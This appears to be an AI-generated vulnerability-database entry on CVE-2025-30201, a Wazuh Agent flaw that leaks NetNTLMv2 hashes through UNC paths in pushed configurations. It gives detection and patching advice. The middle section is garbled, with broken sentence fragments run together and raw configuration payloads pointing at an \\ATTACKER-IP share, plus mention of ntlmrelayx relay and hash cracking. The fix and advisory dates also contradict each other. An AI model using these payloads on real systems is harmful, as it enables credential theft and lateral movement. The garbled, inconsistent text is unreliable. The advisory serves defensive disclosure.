
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-30201 is a NetNTLMv2 hash theft vulnerability in Wazuh Agent that allows authenticated attackers to force NTLM authentication by injecting malicious UNC paths into various agent configuration settings, potentially enabling NTLM relay attacks leading to privilege escalation and remote code execution. It affects all Wazuh versions prior to 4.13.0 and was disclosed on November 21, 2025. The vulnerability carries a CVSS v3.1 base score of 9.1 (Critical) per NVD, though the GitHub Security Advisory assigns a score of 7.7 (High) with higher attack complexity (GitHub Advisory, Red Hat CVE).
The root cause is improper input validation in multiple Wazuh Agent configuration parsers, classified under CWE-73 (External Control of File Name or Path) and CWE-294 (Authentication Bypass by Capture-replay). An attacker with control over a Wazuh server or possession of an agent's private key can push centralized configurations containing malicious UNC paths (e.g., \\ATTACKER-IP\share\sca.txt) to target agents. The affected components include the SCA (Security Configuration Assessment) module, OSQuery monitoring configuration, and FIM (File Integrity Monitoring) configuration — none of which validated or restricted network path prefixes before attempting file access. When the agent processes these configurations, it initiates an SMB connection to the attacker-controlled server, triggering NTLM authentication and exposing the NetNTLMv2 hash of the machine's domain account (GitHub Advisory, Fix PR).
Successful exploitation allows an attacker to capture NetNTLMv2 hashes from domain-joined Windows machines running the Wazuh Agent, which can then be used for NTLM relay attacks, lateral movement, and privilege escalation across the network. The impact is particularly severe when the compromised agent runs on domain controllers or other privileged systems, as the captured credentials may grant broad access to the environment. Confidentiality, integrity, and availability are all rated HIGH, with a changed scope indicating that the impact extends beyond the vulnerable component itself (GitHub Advisory).
ATTACKER-IP) to capture incoming NTLM authentication attempts over SMB.<policy>\\ATTACKER-IP\share\sca.txt</policy><bin_path>\\ATTACKER-IP\share\osqueryd.exe</bin_path><directories>\\ATTACKER-IP\share\fim.txt</directories>ntlmrelayx) against other systems in the domain, or attempt offline cracking to recover the plaintext password for further lateral movement (GitHub Advisory, Fix PR).WARNING: (9801): Network path not allowed in configuration (post-patch) or unexpected file access attempts to UNC paths in modules like syscheck, osquery, or SCA; agent logs showing connections to \\<unknown-IP>\share\ paths.agent.conf) containing UNC paths (e.g., \\<IP>\share\) in SCA policy, OSQuery binary/log/config paths, FIM directories, logcollector locations, or command module entries.Upgrade Wazuh Agent to version 4.13.0 or later, which introduces wrappers for file operation functions that detect and block UNC paths and mapped network drives before any file access is attempted. The fix (merged via PR #30060) adds is_network_path() checks across all affected configuration parsers including logcollector, syscheck, osquery, SCA, rootcheck, and the command module. As an interim workaround, restrict administrative access to the Wazuh server and audit agent group configurations for any UNC paths; additionally, implement network-level controls to block outbound SMB (TCP 445) from agent hosts to unauthorized destinations (Fix PR, GitHub Advisory).
The vulnerability was reported by security researcher mahmoudbettouch and published via GitHub's security advisory program on November 21, 2025. The Wazuh development team responded promptly, merging the fix into the 4.13.0 branch on June 10, 2025 (after the advisory was published). Greenbone's March 2026 threat report highlighted this vulnerability as part of a broader set of critical enterprise risks. Community discussion has been limited, with no major media coverage or widespread social media reaction observed beyond standard vulnerability tracking channels (GitHub Advisory, Greenbone Report).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."